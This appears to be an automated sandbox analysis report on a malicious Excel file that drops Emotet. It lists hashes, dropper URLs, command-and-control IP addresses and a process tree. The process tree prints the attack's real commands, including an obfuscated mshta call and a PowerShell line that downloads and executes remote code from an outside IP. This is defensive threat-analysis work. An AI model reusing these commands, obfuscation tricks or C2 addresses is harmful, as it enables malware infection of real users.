Analysis

  • max time kernel
    126s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    21-01-2022 08:59

General

  • Target

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls

  • Size

    71KB

  • MD5

    21fc12ef8a4a4ba5b38a303fa7e70c08

  • SHA1

    5700a2231371b289eae19ce62e1a73457ee582c4

  • SHA256

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

  • SHA512

    8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1296
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:2256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:772
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3572
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:828
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1156
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wxbskwswsmzbkj\wxjjiqqxj.evv",AcNHrtSQTV
                  8⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1272
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wxbskwswsmzbkj\wxjjiqqxj.evv",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:748
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2256 -s 1720
          4⤵
          • Program crash
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1668
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
    1⤵
      PID:4008
    • C:\Windows\System32\WaaSMedicAgent.exe
      C:\Windows\System32\WaaSMedicAgent.exe c7238d2070ab40d5dc9f9d2f24e455be siIubRRiTk+y8IxrmhWjIw.0.1.0.0.0
      1⤵
      • Modifies data under HKEY_USERS
      PID:3964
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 432 -p 2256 -ip 2256
      1⤵
      • Suspicious use of NtCreateProcessExOtherParentProcess
      • Suspicious use of WriteProcessMemory
      PID:3312
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k wusvcs -p
      1⤵
        PID:1704

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Public\Documents\ssd.dll

        MD5

        a4be50d0f5123e117267c176995e043c

        SHA1

        ab0788a3068d01060d108c7662ea88e9488ef7f4

        SHA256

        22c39fe597132f24d634c5776ad42496bad06548cf1ab8e7cf7496858c825325

        SHA512

        3a291470310061074d9092a1f48486503b7e8ee2be3e9b33591b8ab1143d6f3b88bd81b1d819df973e4b1eb382632d3339b479bee28effbfbc71a9dbc626c9c6

      • C:\Users\Public\Documents\ssd.dll

        MD5

        a4be50d0f5123e117267c176995e043c

        SHA1

        ab0788a3068d01060d108c7662ea88e9488ef7f4

        SHA256

        22c39fe597132f24d634c5776ad42496bad06548cf1ab8e7cf7496858c825325

        SHA512

        3a291470310061074d9092a1f48486503b7e8ee2be3e9b33591b8ab1143d6f3b88bd81b1d819df973e4b1eb382632d3339b479bee28effbfbc71a9dbc626c9c6

      • C:\Users\Public\Documents\ssd.dll

        MD5

        a4be50d0f5123e117267c176995e043c

        SHA1

        ab0788a3068d01060d108c7662ea88e9488ef7f4

        SHA256

        22c39fe597132f24d634c5776ad42496bad06548cf1ab8e7cf7496858c825325

        SHA512

        3a291470310061074d9092a1f48486503b7e8ee2be3e9b33591b8ab1143d6f3b88bd81b1d819df973e4b1eb382632d3339b479bee28effbfbc71a9dbc626c9c6

      • C:\Windows\SysWOW64\Wxbskwswsmzbkj\wxjjiqqxj.evv

        MD5

        a4be50d0f5123e117267c176995e043c

        SHA1

        ab0788a3068d01060d108c7662ea88e9488ef7f4

        SHA256

        22c39fe597132f24d634c5776ad42496bad06548cf1ab8e7cf7496858c825325

        SHA512

        3a291470310061074d9092a1f48486503b7e8ee2be3e9b33591b8ab1143d6f3b88bd81b1d819df973e4b1eb382632d3339b479bee28effbfbc71a9dbc626c9c6

      • C:\Windows\SysWOW64\Wxbskwswsmzbkj\wxjjiqqxj.evv

        MD5

        a4be50d0f5123e117267c176995e043c

        SHA1

        ab0788a3068d01060d108c7662ea88e9488ef7f4

        SHA256

        22c39fe597132f24d634c5776ad42496bad06548cf1ab8e7cf7496858c825325

        SHA512

        3a291470310061074d9092a1f48486503b7e8ee2be3e9b33591b8ab1143d6f3b88bd81b1d819df973e4b1eb382632d3339b479bee28effbfbc71a9dbc626c9c6

      • memory/748-217-0x00000000053D0000-0x00000000053F6000-memory.dmp

        Filesize

        152KB

      • memory/748-211-0x0000000005180000-0x00000000051A6000-memory.dmp

        Filesize

        152KB

      • memory/748-209-0x00000000050A0000-0x00000000050C6000-memory.dmp

        Filesize

        152KB

      • memory/748-207-0x00000000048B0000-0x00000000048D6000-memory.dmp

        Filesize

        152KB

      • memory/748-213-0x00000000051E0000-0x0000000005206000-memory.dmp

        Filesize

        152KB

      • memory/748-215-0x00000000052C0000-0x00000000052E6000-memory.dmp

        Filesize

        152KB

      • memory/748-219-0x0000000005500000-0x0000000005526000-memory.dmp

        Filesize

        152KB

      • memory/748-221-0x00000000055E0000-0x0000000005606000-memory.dmp

        Filesize

        152KB

      • memory/772-171-0x0000028845260000-0x000002885D2F0000-memory.dmp

        Filesize

        384.6MB

      • memory/772-168-0x000002885D550000-0x000002885D572000-memory.dmp

        Filesize

        136KB

      • memory/772-174-0x000002885D710000-0x000002885D754000-memory.dmp

        Filesize

        272KB

      • memory/772-192-0x000002885DA00000-0x000002885DA76000-memory.dmp

        Filesize

        472KB

      • memory/772-173-0x0000028845260000-0x000002885D2F0000-memory.dmp

        Filesize

        384.6MB

      • memory/772-170-0x0000028845260000-0x000002885D2F0000-memory.dmp

        Filesize

        384.6MB

      • memory/828-187-0x0000000004890000-0x00000000048B6000-memory.dmp

        Filesize

        152KB

      • memory/1156-190-0x0000000004D50000-0x0000000004D76000-memory.dmp

        Filesize

        152KB

      • memory/1156-193-0x0000000005470000-0x0000000005496000-memory.dmp

        Filesize

        152KB

      • memory/1156-195-0x0000000005550000-0x0000000005576000-memory.dmp

        Filesize

        152KB

      • memory/1156-197-0x0000000005630000-0x0000000005656000-memory.dmp

        Filesize

        152KB

      • memory/1156-199-0x0000000005690000-0x00000000056B6000-memory.dmp

        Filesize

        152KB

      • memory/1156-204-0x0000000005810000-0x0000000005836000-memory.dmp

        Filesize

        152KB

      • memory/3968-130-0x00007FFC5B430000-0x00007FFC5B440000-memory.dmp

        Filesize

        64KB

      • memory/3968-138-0x00007FFC593D0000-0x00007FFC593E0000-memory.dmp

        Filesize

        64KB

      • memory/3968-137-0x00007FFC593D0000-0x00007FFC593E0000-memory.dmp

        Filesize

        64KB

      • memory/3968-134-0x00007FFC5B430000-0x00007FFC5B440000-memory.dmp

        Filesize

        64KB

      • memory/3968-133-0x00007FFC5B430000-0x00007FFC5B440000-memory.dmp

        Filesize

        64KB

      • memory/3968-131-0x00007FFC5B430000-0x00007FFC5B440000-memory.dmp

        Filesize

        64KB

      • memory/3968-132-0x00007FFC5B430000-0x00007FFC5B440000-memory.dmp

        Filesize

        64KB

      • memory/3968-243-0x00007FFC5B430000-0x00007FFC5B440000-memory.dmp

        Filesize

        64KB

      • memory/3968-244-0x00007FFC5B430000-0x00007FFC5B440000-memory.dmp

        Filesize

        64KB

      • memory/3968-245-0x00007FFC5B430000-0x00007FFC5B440000-memory.dmp

        Filesize

        64KB

      • memory/3968-246-0x00007FFC5B430000-0x00007FFC5B440000-memory.dmp

        Filesize

        64KB